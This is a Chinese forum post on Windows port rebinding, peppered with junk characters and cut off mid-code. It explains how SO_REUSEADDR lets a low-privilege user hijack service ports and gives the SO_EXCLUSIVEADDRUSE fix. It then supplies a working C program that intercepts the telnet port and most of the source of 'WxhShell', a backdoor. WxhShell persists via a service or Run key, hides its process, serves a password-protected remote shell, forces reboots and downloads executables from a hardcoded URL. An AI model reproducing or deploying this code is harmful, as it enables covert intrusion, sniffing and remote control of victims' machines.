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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E;,u2[3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~Am,%"%\  
AZ0;3<FfLp  
  saddr.sin_family = AF_INET; &wi e]  
{K <iih  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Hcl(3> Jn2  
H#NCi~M>3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }0eF~>Df  
,.rs(5.z8/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Q7*SE%H  
Xp >7iX!:  
  这意味着什么?意味着可以进行如下的攻击: e]`[yf  
c0PIc^R(@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1|RANy  
2-7IJ\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) d^RxQuA  
K&bzDzd`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (mgS"zPS  
DAS/43\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  wN`jE0 {  
Ai:BEPKe  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Y'yH;M z  
j:5=s%S  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  9XP o3;  
wLmhy,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +,2:g}5  
EKA#|^Q:NX  
  #include "^4_@ oo  
  #include [baiH|5>  
  #include |?rNy=P,  
  #include    21 O'M  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .P;*Dws  
  int main() KB%"bqB|  
  { r YogW!  
  WORD wVersionRequested; &0='r;*i  
  DWORD ret; o}W%I/s  
  WSADATA wsaData;  `dFq:8v  
  BOOL val; E5)b  
  SOCKADDR_IN saddr; [pl'|B  
  SOCKADDR_IN scaddr; PK;*u,V  
  int err; [<-  
  SOCKET s; 7l'6gg  
  SOCKET sc; <0H"|:W>I]  
  int caddsize; ]DOX?qI i  
  HANDLE mt; mX\T D0$d  
  DWORD tid;   n1~o1  
  wVersionRequested = MAKEWORD( 2, 2 ); xgpi-l  
  err = WSAStartup( wVersionRequested, &wsaData ); 9^,Lc1"M>  
  if ( err != 0 ) { x97 j  
  printf("error!WSAStartup failed!\n"); x$IX5:E#e  
  return -1; bLe <G  
  } ,8:(OB|a  
  saddr.sin_family = AF_INET; _z'u pb&  
   E_k$W5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'SCidN(n  
~Q?a|mV,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); WOQP$D9  
  saddr.sin_port = htons(23); Pf|siC^;s~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QrfG^GID  
  { }2(,K[?  
  printf("error!socket failed!\n"); JQV%fTHS  
  return -1; LA@w:Fg  
  } "]z-: \ V  
  val = TRUE; <%maDM^_\(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1abtgDL  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) fJ/e(t  
  { cc#gEm)3C  
  printf("error!setsockopt failed!\n"); .#1~Rz1r  
  return -1; 9A} # 6  
  } 0/!dUWdKH  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6,d@p  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2Tfz=7h$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *$p2*%7Ne  
7bk%mQk  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) u:[vaBh91  
  { V\u>"3BQw  
  ret=GetLastError(); MO&}r7qq  
  printf("error!bind failed!\n"); F_;vO%}  
  return -1; %%NlTE8*  
  } -sw  .  
  listen(s,2); /wP@2ADB  
  while(1) L%Ow#.[C2  
  { W.dt:_  
  caddsize = sizeof(scaddr); Rn{iaM2Y<  
  //接受连接请求 : y5<go8e  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); kBYNf =  
  if(sc!=INVALID_SOCKET) [* @5\NWR}  
  { ;k7xMZs  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); L1i eaKw  
  if(mt==NULL) lmfi  
  { I3,= 0z  
  printf("Thread Creat Failed!\n"); @$LWWTr;  
  break; 5D_fXfx_|  
  } ;\lW5ZX  
  } et,f_fd7v  
  CloseHandle(mt); sYjpU  
  } ]T;EdK-  
  closesocket(s); {) Q@c)'  
  WSACleanup(); R,F[XI+=N  
  return 0; q>mE< (-M  
  }   0BH_'ZW  
  DWORD WINAPI ClientThread(LPVOID lpParam) KcK>%%  
  { enp)-nS0  
  SOCKET ss = (SOCKET)lpParam; 7 qj9&bEy  
  SOCKET sc; t: #6sF  
  unsigned char buf[4096]; Ttxqf:OMf  
  SOCKADDR_IN saddr; <FWF<r3F  
  long num; PNaay:a|  
  DWORD val; ZJwrLV  
  DWORD ret; m9"n4a|:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 T9]HGB{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    /o[?D  
  saddr.sin_family = AF_INET; Q(<)KZIK  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); VJdIHsI  
  saddr.sin_port = htons(23); ZCB_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o(:[r@Z0z  
  { "Qja1TQ  
  printf("error!socket failed!\n"); CAcS~ "  
  return -1; "\}@gV#r$A  
  } xER\ZpA :,  
  val = 100; -[6z 1"*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *d"DA[(  
  { epU:  
  ret = GetLastError();  ))&;}2{  
  return -1; m|=H#  
  } 0KGY\,ae:;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (N&lHLy  
  { ,`gl&iB  
  ret = GetLastError(); d/ bEt&  
  return -1; UEozAY  
  } 9G+V;0Q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) H&]gOs3So  
  { yi l[gPy4B  
  printf("error!socket connect failed!\n"); M#~Cc~oT  
  closesocket(sc); ``OD.aY^s  
  closesocket(ss); 'bo~%WA]n  
  return -1; XLL/4)  
  } |!"2fI  
  while(1) L{(QpgHZ  
  { #B:hPZM1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 O2BW6Wc  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 91$]Qg,lB  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %,Ap7X3:QT  
  num = recv(ss,buf,4096,0); :{oZ~<  
  if(num>0) S(uf(q|{  
  send(sc,buf,num,0); hi0R.V&  
  else if(num==0) L+CyQq  
  break; TZ2=O<Kj  
  num = recv(sc,buf,4096,0); :'*DPB-  
  if(num>0) 7vABq(  
  send(ss,buf,num,0); ( YQWbOk  
  else if(num==0) *,Za6.=  
  break; w9o^s5n  
  } e_/b2"{  
  closesocket(ss);  w~ [b*$  
  closesocket(sc); f|R"u W +  
  return 0 ; u%/goxA  
  } #*TEq  
`;>= '"O!\  
s 1e:v+B]  
========================================================== RLSc+kDH_  
oI.G-ChP  
下边附上一个代码,,WXhSHELL l'\pk<V  
lKlU-4  
========================================================== PSPmO'C+  
wlEdt1G  
#include "stdafx.h" * 1Od-3  
uPRQU+  
#include <stdio.h> Ay !G1;  
#include <string.h> *Mw_0Y  
#include <windows.h> 9:e YU =  
#include <winsock2.h> 2AtLyN'.  
#include <winsvc.h> LrAT Sq@  
#include <urlmon.h> Ma+$g1$  
QK+(g,)_86  
#pragma comment (lib, "Ws2_32.lib") ed:@C?  
#pragma comment (lib, "urlmon.lib") Z7RiPSdxp  
m+#iR}*1L  
#define MAX_USER   100 // 最大客户端连接数 1P(|[W1  
#define BUF_SOCK   200 // sock buffer ,}:G\u*Fu  
#define KEY_BUFF   255 // 输入 buffer r\blyWi  
k%E2n:|*  
#define REBOOT     0   // 重启 04*6(L)h*  
#define SHUTDOWN   1   // 关机 KID,|K  
:"l-KQ0  
#define DEF_PORT   5000 // 监听端口 \#rIQOPl?  
Vo7dAHHL  
#define REG_LEN     16   // 注册表键长度 %s&ChM?8F  
#define SVC_LEN     80   // NT服务名长度 >-O/U5<!  
y| Ir._bt  
// 从dll定义API 1c;6xc,ub  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #'q<v"w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v*9<c{a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3q`)*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SL,p36N  
;s~X  
// wxhshell配置信息  :<Fe  
struct WSCFG { =L C:SFzF  
  int ws_port;         // 监听端口 5* 0y7K/D  
  char ws_passstr[REG_LEN]; // 口令 XEdzpkB  
  int ws_autoins;       // 安装标记, 1=yes 0=no #rY sj-2  
  char ws_regname[REG_LEN]; // 注册表键名 U-:ieao@  
  char ws_svcname[REG_LEN]; // 服务名 Z*])6=2Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =+x yI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q7g>4GZC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5bA)j!#)|X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ki{3IEOr}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z.CywME<)t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YG8>czC  
sF7^qrVQP9  
}; ]q6;#EUr?  
[|lB5gi4t!  
// default Wxhshell configuration doB  
struct WSCFG wscfg={DEF_PORT, 4&HXkRs:  
    "xuhuanlingzhe", /l{ &iLz[  
    1, m~>Y{F2  
    "Wxhshell", 3 E3qd'  
    "Wxhshell", _$p$")  
            "WxhShell Service", 3( ]M{4j  
    "Wrsky Windows CmdShell Service", 7c;9$j  
    "Please Input Your Password: ", jr)7kP@  
  1, Ed:eGm }  
  "http://www.wrsky.com/wxhshell.exe", 0x9x@gF  
  "Wxhshell.exe" iA,kX\nK  
    }; >OP+^^oZ<  
f"( X(1F  
// 消息定义模块 c5Q<$86  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &|aqP \Q5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6&!&\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Uh'#izm[l  
char *msg_ws_ext="\n\rExit."; .7 asW(  
char *msg_ws_end="\n\rQuit."; *c)uGz'cD  
char *msg_ws_boot="\n\rReboot..."; /1 RAAa  
char *msg_ws_poff="\n\rShutdown..."; \V>?Do7  
char *msg_ws_down="\n\rSave to "; +`sv91c  
gt\MS;jMa  
char *msg_ws_err="\n\rErr!"; :d8W +|1u  
char *msg_ws_ok="\n\rOK!"; cv(PP-'\  
Q.Aw2  
char ExeFile[MAX_PATH]; <jS~ WI@  
int nUser = 0; 5~.ZlGd  
HANDLE handles[MAX_USER]; unJ R=~E  
int OsIsNt; U#n#7G6fRp  
fGv#s X  
SERVICE_STATUS       serviceStatus; zFQ&5@43  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &wU'p-V  
8_&CT :u>  
// 函数声明 _Cw:J|l.  
int Install(void); zd_HxYrN  
int Uninstall(void); *0_yT$  
int DownloadFile(char *sURL, SOCKET wsh); w0ZLcND{  
int Boot(int flag); 7?v#'Ie s  
void HideProc(void); 2qi'g:qe  
int GetOsVer(void); /cK%n4l.y  
int Wxhshell(SOCKET wsl); IG?'zppjd6  
void TalkWithClient(void *cs); JxjI]SF02  
int CmdShell(SOCKET sock); " v}pdUW  
int StartFromService(void); cV-1?h63  
int StartWxhshell(LPSTR lpCmdLine); &3Zy|p4V<  
5[{*{^F4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  h C=:q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1shBY@mlq  
WU4UZpz  
// 数据结构和表定义 \ j.x0/;  
SERVICE_TABLE_ENTRY DispatchTable[] = S?{ /hy  
{ .d?%;2*{q  
{wscfg.ws_svcname, NTServiceMain}, Eh| .  
{NULL, NULL} K\^ 0_F K  
}; l/y]nw  
IZ3{>N V  
// 自我安装 3u>8\|8wz  
int Install(void) h7X_S4p/Mg  
{ 1ZJQs6  
  char svExeFile[MAX_PATH]; N 4K8 u'f^  
  HKEY key; ^+SkCO  
  strcpy(svExeFile,ExeFile); PS S?|Vk  
'O6]0l  
// 如果是win9x系统,修改注册表设为自启动 3K@@D B6  
if(!OsIsNt) { dV?5Q_}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U6[ang'l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?4G|+yby  
  RegCloseKey(key); Zs2-u^3&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I =Wc&1g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %g]vxm5?  
  RegCloseKey(key); zu2HH<E  
  return 0; >%Ee#m  
    } >\<*4J$PZ  
  } }]UB;id'  
} : t$l.+B  
else { U"f ??y%)  
fQnwy!-\  
// 如果是NT以上系统,安装为系统服务 mqfO4"lt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c~ <1':  
if (schSCManager!=0) $[@0^IJq=K  
{ hIJ)MZU|  
  SC_HANDLE schService = CreateService ~^)^q8  
  ( `A/j1UWJ  
  schSCManager, wzjU,Mw e  
  wscfg.ws_svcname, /cFzotr"9  
  wscfg.ws_svcdisp, Fk=}iB#(  
  SERVICE_ALL_ACCESS, Hqz?E@bc@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O)R(==P26P  
  SERVICE_AUTO_START, r C[6lIP  
  SERVICE_ERROR_NORMAL, B6}FIg)  
  svExeFile, Dbx~n#nG  
  NULL, <uP^-bv;(  
  NULL, 5wC* ?>/  
  NULL, ]>i~6!@  
  NULL, jx_4B%kzq  
  NULL W&"|}Pi/  
  ); $mA5@O~C5\  
  if (schService!=0) IB9%QW"0  
  { nL]^$J$  
  CloseServiceHandle(schService); P5QQpY{<I  
  CloseServiceHandle(schSCManager); ']o od!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /"qcl7F  
  strcat(svExeFile,wscfg.ws_svcname); V_U'P>_I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RAs0]K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  PWgDFL?  
  RegCloseKey(key); bzmr"/#D3  
  return 0; fvo<(c#Y#  
    } S(eQ{rSs  
  } Ek.&Sf$cd'  
  CloseServiceHandle(schSCManager); !$XHQLqF2  
} 9vGs;  
} K7vw3UwGN  
)E7 FA|  
return 1; T9y;OG  
} ZX`J8lZP  
M"^K 0 .  
// 自我卸载 u>T76,8|\  
int Uninstall(void) QYE7p\  
{ WN a0,  
  HKEY key; ek-!b!iI  
t]_S  
if(!OsIsNt) { eQX`,9:5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,35&G"JK5  
  RegDeleteValue(key,wscfg.ws_regname); @y~P&HUN  
  RegCloseKey(key); Yig0/ "  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MXAEX2xmme  
  RegDeleteValue(key,wscfg.ws_regname); &w~Xa( uu  
  RegCloseKey(key); 73NZ:h%=  
  return 0; FY;+PY@I{  
  } >X Qv?5  
} ,qFA\cO*  
} ~0tdfK0c  
else { yDd[e]zS`  
8LM #WIm?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jPu5nwvUV>  
if (schSCManager!=0) =LH}YUmd  
{ h#f&|* Q5m  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4B O %{  
  if (schService!=0) @6xGJ,s  
  { 89eq[ |G_  
  if(DeleteService(schService)!=0) { d;suACW  
  CloseServiceHandle(schService); 0my9l;X   
  CloseServiceHandle(schSCManager); ML!9:vz  
  return 0; {/M\Q@j  
  } r:.uBc&_  
  CloseServiceHandle(schService); \gKdD S  
  } sB*o)8  
  CloseServiceHandle(schSCManager); MR9/Y:Nm  
} x6yW:tUG5  
} , r+"7$  
XdIah<F2  
return 1; JAb$M{t  
} mA{#]Yvf1  
=&NOHT>  
// 从指定url下载文件 a>Re^GT+z  
int DownloadFile(char *sURL, SOCKET wsh) b&t[S[P.V  
{ 2>y:N.  
  HRESULT hr; $Lq:=7&LRn  
char seps[]= "/"; J1 tDO?  
char *token; 6mG3fMih.  
char *file; 71iRG*O  
char myURL[MAX_PATH]; @&R1wr1>I5  
char myFILE[MAX_PATH]; 1i?=JAFfM  
1Kc^m\  
strcpy(myURL,sURL); 7!d$M{0"  
  token=strtok(myURL,seps); Yw"P)Zp  
  while(token!=NULL) el@XK}<dr  
  { kO3 `54  
    file=token; X5E '*W  
  token=strtok(NULL,seps); i-13~Dk  
  } !UNNjBBP7  
^8742.  
GetCurrentDirectory(MAX_PATH,myFILE); ?V+wjw  
strcat(myFILE, "\\"); P>htQ  
strcat(myFILE, file); V/H@vKN2  
  send(wsh,myFILE,strlen(myFILE),0); wc[c N+p  
send(wsh,"...",3,0); T Oy7?;|=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8W{~wg`  
  if(hr==S_OK) G' Hh{_:  
return 0; u6_jnZGB  
else fPE?hG<x  
return 1; q) _r3   
ER<eX4oU  
} 8tZ} ;="F  
46ChMTt  
// 系统电源模块 KM5 JZZP  
int Boot(int flag) m3?e]nL4W  
{ X% J%A-k]  
  HANDLE hToken; 2v^lD('  
  TOKEN_PRIVILEGES tkp; YC)hX'A\  
a!u3 HS-i  
  if(OsIsNt) { R~c1)[[E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #:W%,$ 9\P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  ^@q#$/z  
    tkp.PrivilegeCount = 1; QN #)F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 33M}>$ZH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q%.bnF/Yd  
if(flag==REBOOT) { 4<yK7x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 44Qk;8*  
  return 0; ]PVt o\B=  
} *R!]47Y d  
else { $ 'u \B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Iv1c4"  
  return 0; ohTd'+Lm  
} 9RcM$[~  
  } r /yHmEk&  
  else { >nNl^ yqW  
if(flag==REBOOT) { T{;=#rG<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =+(Q.LmhC  
  return 0; l'2H 4W_+  
} y*|L:!   
else { x~(y "^ph  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jNqVdP]d\  
  return 0; J(hA^;8:  
} GWh|FEqUbf  
} 9TW8o}k`  
a^/K?lAB8  
return 1; a(!3Afi  
} m9b(3  
o_3*;}k8  
// win9x进程隐藏模块 s?+fPOF  
void HideProc(void) f@*>P_t  
{ u7 ~mn l  
cP('@K=p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M%;"c?g  
  if ( hKernel != NULL ) TRCI\  
  { HYFN?~G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g`.{K"N>!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kpWzMd &RK  
    FreeLibrary(hKernel); L B<UC?e  
  } &$Ci}{{n#  
-PXoMZx%  
return; 7A[Ogro  
} $ %;jk  
Wa{%0inZ  
// 获取操作系统版本 hJ4S3b  
int GetOsVer(void) r?]%d!   
{ #O><A&FrF`  
  OSVERSIONINFO winfo; s%bUgO%&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cyHhy_~R  
  GetVersionEx(&winfo); u:eW0Ows"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [^Q&suy  
  return 1; .CvFE~  
  else +|M{I= 8  
  return 0; 8LeK wb  
} y* rY~U#3  
TL]bY'%  
// 客户端句柄模块 `_ 0)kdu  
int Wxhshell(SOCKET wsl) @%%bRY  
{ e+x*psQ  
  SOCKET wsh; GGp{b>E+ #  
  struct sockaddr_in client; `L;OY 4  
  DWORD myID; Bjtj{B  
CJ:uYXJJ:z  
  while(nUser<MAX_USER) /xF 9:r  
{ 6VGo>b;  
  int nSize=sizeof(client); 0+p 5/5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CBIT`k.+  
  if(wsh==INVALID_SOCKET) return 1; -@#Pc#  
!&\meS{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a.1`\ $]d  
if(handles[nUser]==0) <(Tiazg  
  closesocket(wsh); +!G4tA$g  
else +{'lZa  
  nUser++; v/ eB,p  
  } Jtext%"eNg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RpULm1b  
5W|u5AIw  
  return 0; DYkC'+TEX  
} ^b:Xo"q#H  
we }#Ru*  
// 关闭 socket  Hl!1h%  
void CloseIt(SOCKET wsh) VmMh+)UZ  
{ htQ;m)>J:  
closesocket(wsh); y>%W;r)  
nUser--; nQ!N}5[z'  
ExitThread(0); |iAEDZn  
} iq,ah"L  
rAL1TU(vm  
// 客户端请求句柄 *-{Omqw  
void TalkWithClient(void *cs) BU'Ki \  
{ f<^ScFVR  
P`z7@9*j  
  SOCKET wsh=(SOCKET)cs; (2cGHYU3N<  
  char pwd[SVC_LEN]; ktU9LW~  
  char cmd[KEY_BUFF]; n}+wd9J*!2  
char chr[1]; ?-4OfGN  
int i,j; 2$iw/ r  
QZ#3Bn%B5  
  while (nUser < MAX_USER) { :l4^iSf  
ysL0hwir  
if(wscfg.ws_passstr) { j-j'phK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RFhU#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gYRqqV  
  //ZeroMemory(pwd,KEY_BUFF); MPqY?KF  
      i=0; m9%yR"g9  
  while(i<SVC_LEN) {  {`tHJ|8  
vY4WQbz(  
  // 设置超时 0 PR4g}"  
  fd_set FdRead; Q3(hK<Qh;  
  struct timeval TimeOut; d$4WK)U  
  FD_ZERO(&FdRead); sYl&Q.\q  
  FD_SET(wsh,&FdRead); $U\!q@'$  
  TimeOut.tv_sec=8; A&D2T  
  TimeOut.tv_usec=0; P>.Y)$`r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t>XZ 3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  fF\*v  
)J{.Cx<E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [SKP|`I>I  
  pwd=chr[0]; "r:H5) !  
  if(chr[0]==0xd || chr[0]==0xa) { B8`R(vu;  
  pwd=0; -Mr{+pf  
  break; -$xKv4  
  } 22l|!B%o  
  i++; 2=i+L z^  
    } jn0t-":  
|G[{{qZM5  
  // 如果是非法用户,关闭 socket ]}jgB 2x7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .WxFm@]/\  
} Bk\*0B  
Rc$=+K#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !a.3OpQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W ]a7&S  
FRb&@(;  
while(1) { mMel,iK=  
$_4oN(WSz  
  ZeroMemory(cmd,KEY_BUFF); jI@bTS o  
U/}AiCdj@  
      // 自动支持客户端 telnet标准   P c/.*kOT  
  j=0; cP/F| uG5  
  while(j<KEY_BUFF) { MBnK&GS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pE9aT5 L  
  cmd[j]=chr[0]; [GcA.ABz  
  if(chr[0]==0xa || chr[0]==0xd) { A}az m>  
  cmd[j]=0; d,Im&j_Z  
  break; !~6'@UYo  
  } z:0-aDe M  
  j++; V#n?&-{V  
    } .Y=Z!Q  
K8e4ax  
  // 下载文件 ]L5Z=.z&  
  if(strstr(cmd,"http://")) { AJJ%gxqGq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); | 7t=\  
  if(DownloadFile(cmd,wsh)) )Mm;9UA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sa\|"IkD2  
  else Enq6K1@%G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >[A6 5q'  
  } Om&{4a\  
  else { dVY(V&p  
Q' OuZKhA  
    switch(cmd[0]) { RZcx4fL}x  
  T%N~oa  
  // 帮助 \@iOnRuHn9  
  case '?': { [| c@Yw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j]cXLY  
    break; A8A:@-e8A  
  } KT]J,b  
  // 安装 H| eD/6K  
  case 'i': { N]O{T_5-0  
    if(Install()) yg-L^`t+B5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ifgr<QlG  
    else .=et{\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f4A4  
    break; $?CBX27AV  
    } qr<-eJf  
  // 卸载 Ty e$na&$}  
  case 'r': { 4{Yy05PFS  
    if(Uninstall()) Y;~~?[6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P!>{>r4  
    else I8pv:>EhC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .f?qUg  
    break; L*SSv wSL  
    } vUodp#s  
  // 显示 wxhshell 所在路径 O9Jx%tolF%  
  case 'p': { YokZar2a0  
    char svExeFile[MAX_PATH]; H L}sqcp  
    strcpy(svExeFile,"\n\r"); 76u/WC>B  
      strcat(svExeFile,ExeFile); Bsih<`KF^  
        send(wsh,svExeFile,strlen(svExeFile),0); S1x.pLHj8  
    break; *'AS^2'  
    } ]iE.fQ?;J  
  // 重启 TCEXa?,L  
  case 'b': { b}}1TnS)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^R8U-V8:  
    if(Boot(REBOOT)) ~_# Y,)S!z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d =B@EyN  
    else { J;Z>fAE7  
    closesocket(wsh); FJwZo}<6E  
    ExitThread(0); t^bdi}[  
    } +UpMMh q  
    break; 7am/X.  
    } >TQBRA;'  
  // 关机 GP7) m  
  case 'd': { >TY5ZRB  
